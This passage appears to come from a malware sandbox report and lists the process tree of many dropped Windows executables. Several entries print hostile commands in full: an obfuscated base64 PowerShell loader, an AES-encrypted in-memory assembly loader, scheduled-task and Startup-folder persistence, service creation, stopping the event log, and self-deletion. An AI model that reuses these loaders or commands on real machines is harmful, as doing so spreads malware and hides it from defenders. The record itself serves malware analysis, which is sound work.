    "C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4492
- C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe
  "C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2320
- C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe
  "C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe"
  2⤵
  - Executes dropped EXE
  PID:3284
- C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1760
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Modifies system certificate store
    PID:3796
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1760 -s 804
    3⤵
    - Program crash
    PID:4884
- C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe"
  2⤵
  - Executes dropped EXE
  PID:3172
- C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe"
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1196
- - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
    "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
    3⤵
    PID:1372
- C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe"
  2⤵
  PID:3168
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5112
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      PID:4740
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
      4⤵
      PID:2424
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:4860
- C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe
  "C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe"
  2⤵
  PID:712
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 712 -s 1360
    3⤵
    - Program crash
    PID:4660
- C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe"
  2⤵
  PID:4532
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
    3⤵
    PID:4436
  - - C:\Windows\SysWOW64\PING.EXE
      ping 2.2.2.2 -n 1 -w 3000
      4⤵
      Runs ping.exe
      PID:4396
- C:\Users\Admin\AppData\Local\Temp\a\1111.exe
  "C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
  2⤵
  PID:3548
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3840
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3548 -s 168
    3⤵
    - Program crash
    PID:1584
- C:\Users\Admin\AppData\Local\Temp\a\new1.exe
  "C:\Users\Admin\AppData\Local\Temp\a\new1.exe"
  2⤵
  PID:5024
- C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe"
  2⤵
  PID:296
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:300
- C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe"
  2⤵
  PID:4388
- - C:\Users\Admin\AppData\Local\Temp\u3dw.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u3dw.0.exe"
    3⤵
    PID:1532
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1532 -s 1096
      4⤵
      Program crash
      PID:1740
- - C:\Users\Admin\AppData\Local\Temp\u3dw.1.exe
    "C:\Users\Admin\AppData\Local\Temp\u3dw.1.exe"
    3⤵
    PID:4900
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 1640
    3⤵
    - Program crash
    PID:760
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 1432
    3⤵
    - Program crash
    PID:2444
- C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe
  "C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe"
  2⤵
  PID:836
- - C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
    "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
    3⤵
    PID:888
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 888 -s 628
      4⤵
      Program crash
      PID:3696
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 836 -s 1216
    3⤵
    - Program crash
    PID:1040
- C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe"
  2⤵
  PID:2368
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1696
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3444
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2368 -s 836
    3⤵
    - Program crash
    PID:2532
- C:\Users\Admin\AppData\Local\Temp\a\june.exe
  "C:\Users\Admin\AppData\Local\Temp\a\june.exe"
  2⤵
  PID:2580
- - C:\Users\Admin\AppData\Local\Temp\is-H5JCO.tmp\june.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-H5JCO.tmp\june.tmp" /SL5="$3025C,4043444,54272,C:\Users\Admin\AppData\Local\Temp\a\june.exe"
    3⤵
    PID:1040
  - - C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
      "C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -i
      4⤵
      PID:1524
  - - C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
      "C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -s
      4⤵
      PID:788
- C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe"
  2⤵
  PID:2340
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:328
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3504
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 816
    3⤵
    - Program crash
    PID:4700
- C:\Users\Admin\AppData\Local\Temp\a\new.exe
  "C:\Users\Admin\AppData\Local\Temp\a\new.exe"
  2⤵
  PID:4148
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4152
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3396
- C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe"
  2⤵
  PID:4500
- C:\Users\Admin\AppData\Local\Temp\a\123p.exe
  "C:\Users\Admin\AppData\Local\Temp\a\123p.exe"
  2⤵
  PID:2828
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    PID:4976
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    PID:1000
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    PID:4560
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    PID:672
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "OBGPQMHF"
    3⤵
    - Launches sc.exe
    PID:2680
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "OBGPQMHF" binpath= "C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4424
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3288
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "OBGPQMHF"
    3⤵
    - Launches sc.exe
    PID:2540
- C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe
  "C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe"
  2⤵
  PID:4436
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\BlockComponentwebMonitordhcp\AbAw8xfGFsmxdxvuwvbKubDJeV.vbe"
    3⤵
    PID:876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\BlockComponentwebMonitordhcp\8H5kf2bUK2r.bat" "
      4⤵
      PID:4884
    - - C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe
        
        "C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe"
        5⤵
        
        PID:4048
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\jj5vXeamkL.bat"
        6⤵
        
        PID:928
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:2336
        
        C:\Recovery\WindowsRE\unsecapp.exe
        
        "C:\Recovery\WindowsRE\unsecapp.exe"
        7⤵
        
        PID:412
- C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe"
  2⤵
  PID:4088
- - C:\Users\Admin\AppData\Local\Temp\u35k.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u35k.0.exe"
    3⤵
    PID:1740
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1740 -s 1108
      4⤵
      Program crash
      PID:1884
- - C:\Users\Admin\AppData\Local\Temp\u35k.1.exe
    "C:\Users\Admin\AppData\Local\Temp\u35k.1.exe"
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4088 -s 456
    3⤵
    - Program crash
    PID:4920
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4088 -s 388
    3⤵
    - Program crash
    PID:1728
- C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe
  "C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe"
  2⤵
  PID:672
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    3⤵
    PID:4940
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
    3⤵
    PID:3364
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
    3⤵
    PID:2308
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
      4⤵
      Creates scheduled task(s)
      PID:4916
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
    3⤵
    PID:3680
- C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe"
  2⤵
  PID:4752
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2468
- - C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe
    "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe"
    3⤵
    PID:4052
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:1000
- C:\Users\Admin\AppData\Local\Temp\a\crypt.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypt.exe"
  2⤵
  PID:3680
- - C:\Windows\SysWOW64\wscript.exe
    "wscript.exe" "C:\Users\Admin\start.vbs"
    3⤵
    PID:3652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
      4⤵
      PID:4648
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJleHBsb3Jlci5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\explorer.ps1' -Encoding UTF8"
        5⤵
        
        PID:1868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\explorer.ps1"
        5⤵
        
        PID:4756
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:5620
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:444
- C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe"
  2⤵
  PID:4184
- C:\Users\Admin\AppData\Local\Temp\a\toolspub1.exe
  "C:\Users\Admin\AppData\Local\Temp\a\toolspub1.exe"
  2⤵
  PID:5176
- C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe"
  2⤵
  PID:5364
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5804
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5364 -s 800
    3⤵
    - Program crash
    PID:6120
- C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe"
  2⤵
  PID:5124
- - C:\Users\Admin\AppData\Local\Temp\ckz_LDAT\nds.exe
    "C:\Users\Admin\AppData\Local\Temp\ckz_LDAT\nds.exe"
    3⤵
    PID:1572
  - - C:\Users\Admin\AppData\Local\Temp\ckz_LDAT\nds.exe
      "C:\Users\Admin\AppData\Local\Temp\ckz_LDAT\nds.exe"
      4⤵
      PID:2544
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill.exe /F /IM nvidia.exe
        5⤵
        
        PID:1856
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill.exe /F /IM mmi.exe
        5⤵
        
        PID:4596
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill.exe /F /IM arm.exe
        5⤵
        
        PID:4436
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill.exe /F /IM mnn.exe
        5⤵
        
        PID:656
- C:\Users\Admin\AppData\Local\Temp\a\garits.exe
  "C:\Users\Admin\AppData\Local\Temp\a\garits.exe"
  2⤵
  PID:2540
- - C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    "Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\a\garits.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\garits.exe' -Force
    3⤵
    PID:2524
- C:\Users\Admin\AppData\Local\Temp\a\current.exe
  "C:\Users\Admin\AppData\Local\Temp\a\current.exe"
  2⤵
  PID:5452
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 408
    3⤵
    - Program crash
    PID:5528
- C:\Users\Admin\AppData\Local\Temp\a\test.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
  2⤵
  PID:5560
- C:\Users\Admin\AppData\Local\Temp\a\123.exe
  "C:\Users\Admin\AppData\Local\Temp\a\123.exe"
  2⤵
  PID:5740
- C:\Users\Admin\AppData\Local\Temp\a\sarra.exe
  "C:\Users\Admin\AppData\Local\Temp\a\sarra.exe"
  2⤵
  PID:5932
- C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe
  "C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe"
  2⤵
  PID:5256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFF46.tmp.bat" "
    3⤵
    PID:1716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\tmpFF46.tmp.bat"
      4⤵
      PID:6016
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\tmpFF46.tmp.bat';$IKhK='MahibHihibHnhibHModhibHulhibHehibH'.Replace('hibH', ''),'GetQgnnCuQgnnrrQgnneQgnnntPQgnnroQgnnceQgnnsQgnnsQgnn'.Replace('Qgnn', ''),'EleVKaqmVKaqeVKaqntVKaqAtVKaq'.Replace('VKaq', ''),'ReaXrSRdLiXrSRnXrSResXrSR'.Replace('XrSR', ''),'DeDwcdcDwcdomDwcdpDwcdreDwcdsDwcdsDwcd'.Replace('Dwcd', ''),'CVrqZreaVrqZtVrqZeVrqZDVrqZecVrqZryVrqZptoVrqZrVrqZ'.Replace('VrqZ', ''),'ChXNvfaXNvfnXNvfgXNvfeEXNvfxteXNvfnsXNvfiXNvfonXNvf'.Replace('XNvf', ''),'SpHdEMlitHdEM'.Replace('HdEM', ''),'EnFMIKtFMIKryFMIKPFMIKoiFMIKntFMIK'.Replace('FMIK', ''),'CCPxDopCPxDyCPxDToCPxD'.Replace('CPxD', ''),'InLeisvLeisokLeiseLeis'.Replace('Leis', ''),'TzEulranzEulszEulfzEulorzEulmzEulFzEulinzEulazEullBzEullozEulckzEul'.Replace('zEul', ''),'LMYvEoMYvEaMYvEdMYvE'.Replace('MYvE', ''),'FrgPovomgPovBgPovagPovsgPove64gPovStgPovrgPovigPovnggPov'.Replace('gPov', '');powershell -w hidden;function Wjvpz($DSMeA){$LRUPP=[System.Security.Cryptography.Aes]::Create();$LRUPP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$LRUPP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$LRUPP.Key=[System.Convert]::($IKhK[13])('hbO8R88HBl6x9E1ChjrqAUcnoAC3B8p99JSIvXSwQuY=');$LRUPP.IV=[System.Convert]::($IKhK[13])('5zVFVvVJKQyl6Cns03Obiw==');$folEv=$LRUPP.($IKhK[5])();$SLWGx=$folEv.($IKhK[11])($DSMeA,0,$DSMeA.Length);$folEv.Dispose();$LRUPP.Dispose();$SLWGx;}function TImJD($DSMeA){$gpnDG=New-Object System.IO.MemoryStream(,$DSMeA);$hLGlZ=New-Object System.IO.MemoryStream;$KsXZc=New-Object System.IO.Compression.GZipStream($gpnDG,[IO.Compression.CompressionMode]::($IKhK[4]));$KsXZc.($IKhK[9])($hLGlZ);$KsXZc.Dispose();$gpnDG.Dispose();$hLGlZ.Dispose();$hLGlZ.ToArray();}$Ewgsd=[System.IO.File]::($IKhK[3])([Console]::Title);$WuYWe=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 5).Substring(2))));$NZPxf=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 6).Substring(2))));[System.Reflection.Assembly]::($IKhK[12])([byte[]]$NZPxf).($IKhK[8]).($IKhK[10])($null,$null);[System.Reflection.Assembly]::($IKhK[12])([byte[]]$WuYWe).($IKhK[8]).($IKhK[10])($null,$null); "
        5⤵
        
        PID:5500
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        
        PID:5980
- C:\Users\Admin\AppData\Local\Temp\a\Locker.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Locker.exe"
  2⤵
  PID:5524
- C:\Users\Admin\AppData\Local\Temp\a\eeee.exe
  "C:\Users\Admin\AppData\Local\Temp\a\eeee.exe"
  2⤵
  PID:5160
- C:\Users\Admin\AppData\Local\Temp\a\inte.exe
  "C:\Users\Admin\AppData\Local\Temp\a\inte.exe"
  2⤵
  PID:5728
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 772
    3⤵
    - Program crash
    PID:2440
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 780
    3⤵
    - Program crash
    PID:5492
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 812
    3⤵
    - Program crash
    PID:2016
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 824
    3⤵
    - Program crash
    PID:5456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 1032
    3⤵
    - Program crash
    PID:5344
- - C:\Windows\SysWOW64\WerFault.exe
